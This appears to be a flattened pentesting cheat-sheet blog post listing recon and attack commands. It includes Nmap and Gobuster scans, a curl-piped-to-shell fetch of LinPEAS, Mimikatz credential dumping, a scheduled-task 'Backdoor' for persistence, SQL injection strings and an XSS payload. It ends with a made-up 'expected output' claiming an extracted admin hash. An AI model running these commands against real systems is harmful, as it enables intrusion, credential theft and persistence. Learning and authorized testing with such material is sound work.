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You Should Know: Essential Pentesting Commands & Techniques
Linux Commands for Recon & Exploitation
Network Scanning (Nmap) nmap -sV -A -T4 target.com nmap --script vuln target.com Directory Bruteforcing (Gobuster) gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt Exploit Search (Searchsploit) searchsploit "Apache 2.4.50" Packet Capture (TCPdump) tcpdump -i eth0 -w capture.pcap Privilege Escalation Check (LinPEAS) curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
Windows Commands for Post-Exploitation
System Info systeminfo whoami /priv Network Recon netstat -ano arp -a Dumping Hashes (Mimikatz) sekurlsa::logonpasswords Persistence (Scheduled Task) schtasks /create /tn "Backdoor" /tr "C:\malware.exe" /sc hourly /mo 1
Web App Testing (Burp Suite & SQLi)
Basic SQL Injection
' OR 1=1 -- -
' UNION SELECT 1,2,3,4,5 -- -
XSS Payload
<script>alert('XSS')</script>
Automation with Bash Scripting
!/bin/bash for ip in $(seq 1 254); do ping -c 1 192.168.1.$ip | grep "bytes from" | cut -d " " -f 4 | tr -d ":" & done
What Undercode Say
A true pentester blends mindset with technical mastery. Confidence, persistence, and adaptability define success. Whether exploiting Linux misconfigs, pivoting in Windows domains, or chaining web vulnerabilities, the key is continuous learning.
Prediction
As AI-driven attacks rise, pentesters will increasingly rely on automation (like AI-assisted fuzzing) while manual logic flaws remain gold.
Expected Output:
Nmap scan report for target.com |_http-title: Apache 2.4.50 Vulnerable Gobuster: /admin (Status: 301) Mimikatz: Admin NTLM Hash Extracted
References:
Reported By: Being Nice – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
